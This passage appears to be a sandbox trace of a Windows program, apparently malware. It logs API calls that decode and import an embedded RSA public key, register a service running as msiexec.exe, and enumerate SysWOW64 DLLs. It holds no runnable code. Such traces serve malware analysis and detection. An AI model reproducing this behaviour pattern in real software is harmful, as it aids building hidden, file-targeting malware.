(HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.015] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0210.015] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0210.015] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.015] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d258) returned 1 [0210.015] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d5e8) returned 1 [0210.015] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x982850) returned 1 [0210.015] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x2800) returned 0x982850 [0210.016] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.016] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.016] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.016] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x10) returned 0x92d5e8 [0210.016] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d258 [0210.016] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0210.016] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.016] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.016] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d268 [0210.016] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c240 [0210.016] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.016] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.016] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d278 [0210.016] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.016] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.016] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d288 [0210.016] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.016] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x10) returned 0x92d618 [0210.016] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d298 [0210.016] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c168 [0210.016] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d2d8 [0210.016] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c1b0 [0210.016] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d2c8 [0210.016] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c1f8 [0210.016] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d2e8 [0210.016] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c5e8 [0210.016] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0210.016] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d258) returned 1 [0210.016] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c240) returned 1 [0210.016] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d268) returned 1 [0210.016] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.016] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d278) returned 1 [0210.016] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.016] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d288) returned 1 [0210.016] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d5e8) returned 1 [0210.016] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.016] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.017] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.017] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.017] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.017] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.017] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.017] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.017] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x10) returned 0x92d5e8 [0210.017] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d288 [0210.017] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.017] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d278 [0210.017] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.017] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d268 [0210.017] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c240 [0210.017] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d258 [0210.017] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0210.017] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c168) returned 1 [0210.017] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d298) returned 1 [0210.017] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c1b0) returned 1 [0210.017] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d2d8) returned 1 [0210.017] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c1f8) returned 1 [0210.017] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d2c8) returned 1 [0210.017] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c5e8) returned 1 [0210.017] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d2e8) returned 1 [0210.017] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d618) returned 1 [0210.017] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x10) returned 0x92d618 [0210.017] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d2e8 [0210.017] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c5e8 [0210.017] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d2c8 [0210.017] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c1f8 [0210.017] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d2d8 [0210.017] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c1b0 [0210.017] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d298 [0210.017] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c168 [0210.017] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.017] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d288) returned 1 [0210.017] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.017] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d278) returned 1 [0210.017] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c240) returned 1 [0210.017] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d268) returned 1 [0210.018] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0210.018] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d258) returned 1 [0210.018] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d5e8) returned 1 [0210.018] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0x982850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0210.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x982850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0210.018] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0x982850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0210.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x982850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0210.018] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0x982850, nSize=0x2800 | out: lpDst="C:\\Windows\\TEMP") returned 0x10 [0210.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x982850, cbMultiByte=15, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0210.018] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0x982850, nSize=0x2800 | out: lpDst="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 0x39 [0210.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x982850, cbMultiByte=56, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0210.019] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x21f588, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x21f588, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0210.019] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x987cf8, pcbBinary=0x21f588, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x987cf8, pcbBinary=0x21f588, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0210.019] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x987cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x21f588 | out: pvStructInfo=0x0, pcbStructInfo=0x21f588) returned 1 [0210.022] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x987cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x987f40, pcbStructInfo=0x21f588 | out: pvStructInfo=0x987f40, pcbStructInfo=0x21f588) returned 1 [0210.022] CryptImportPublicKeyInfo (in: hCryptProv=0x37e3b0, dwCertEncodingType=0x10001, pInfo=0x987f40*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0x987f70*, PublicKey.cbData=0x20e, PublicKey.pbData=0x987f78*, PublicKey.cUnusedBits=0x0), phKey=0x21f58c | out: phKey=0x21f58c*=0x382368) returned 1 [0210.024] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x987f40) returned 1 [0210.024] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x987cf8) returned 1 [0210.024] ReleaseMutex (hMutex=0xa0) returned 1 [0210.024] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x985058) returned 1 [0210.024] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x2800) returned 0x985058 [0210.024] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c900 [0210.024] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c900) returned 1 [0210.024] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x985058) returned 1 [0210.024] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x2800) returned 0x985058 [0210.024] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c900 [0210.024] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c900) returned 1 [0210.024] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c900 [0210.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x92c900, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0210.024] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e1e0 [0210.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x92c900, cbMultiByte=9, lpWideCharStr=0x92e1e0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0210.024] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e268 [0210.024] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e1e0) returned 1 [0210.024] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e268) returned 1 [0210.024] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c900) returned 1 [0210.024] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x985058) returned 1 [0210.024] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x982850) returned 1 [0210.024] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0210.024] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d258) returned 1 [0210.024] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c240) returned 1 [0210.024] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d268) returned 1 [0210.024] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.024] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d278) returned 1 [0210.024] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.024] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d288) returned 1 [0210.024] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d5e8) returned 1 [0210.025] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0210.025] StartServiceCtrlDispatcherW (lpServiceTable=0x21f654*(lpServiceName="", lpServiceProc=0xacd040)) [0224.699] SetServiceStatus (hServiceStatus=0x37e320, lpServiceStatus=0x21f554*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 Thread: id = 867 os_tid = 0x1e0 Thread: id = 868 os_tid = 0xf0 Thread: id = 869 os_tid = 0x1f8 Thread: id = 870 os_tid = 0x198 [0210.085] RegisterServiceCtrlHandlerW (lpServiceName="", lpHandlerProc=0xacce51) returned 0x37e320 [0210.085] SetServiceStatus (hServiceStatus=0x37e320, lpServiceStatus=0x198f818*(dwServiceType=0x10, dwCurrentState=0x4, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0210.095] GetCommandLineW () returned="C:\\Windows\\system32\\msiexec.exe" [0210.095] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e268 [0210.095] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x5c) returned 0x92dd28 [0210.095] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e1e0 [0210.095] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e2f0 [0210.095] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e378 [0210.095] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e400 [0210.095] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e488 [0210.095] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e510 [0210.095] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e598 [0210.096] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e620 [0210.096] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e6a8 [0210.096] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e730 [0210.096] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e7b8 [0210.096] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x100) returned 0x987cf8 [0210.096] GetSystemWow64DirectoryW (in: lpBuffer=0x987cf8, uSize=0x40 | out: lpBuffer="C:\\Windows\\SysWOW64") returned 0x13 [0210.096] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x987cf8) returned 1 [0210.096] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e840 [0210.096] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e840) returned 1 [0210.096] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e840 [0210.096] FindFirstFileExW (in: lpFileName="C:\\Windows\\SysWOW64\\\\*.dll", fInfoLevelId=0x1, lpFindFileData=0x198f574, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x198f574) returned 0x37fd00 [0210.096] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.096] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0210.096] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x92c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AACLIENT.DLL", lpUsedDefaultChar=0x0) returned 12 [0210.096] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.096] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.096] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.096] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.096] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.096] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93cbbe2a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93cbbe2a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93d080eb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38e200, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="accessibilitycpl.dll", cAlternateFileName="")) returned 1 [0210.098] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.098] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0210.098] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x92c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCESSIBILITYCPL.DLL", lpUsedDefaultChar=0x0) returned 20 [0210.098] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.098] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.098] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.098] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.098] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.098] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89c04678, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x89c04678, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xf0e28ef0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x9a00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="ACCTRES.dll", cAlternateFileName="")) returned 1 [0210.098] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.098] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0210.098] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x92c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCTRES.DLL", lpUsedDefaultChar=0x0) returned 11 [0210.098] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.098] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.098] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.098] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.098] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.098] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10f51da3, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10f51da3, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="acledit.dll", cAlternateFileName="")) returned 1 [0210.099] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.099] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0210.099] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x92c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLEDIT.DLL", lpUsedDefaultChar=0x0) returned 11 [0210.099] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.099] 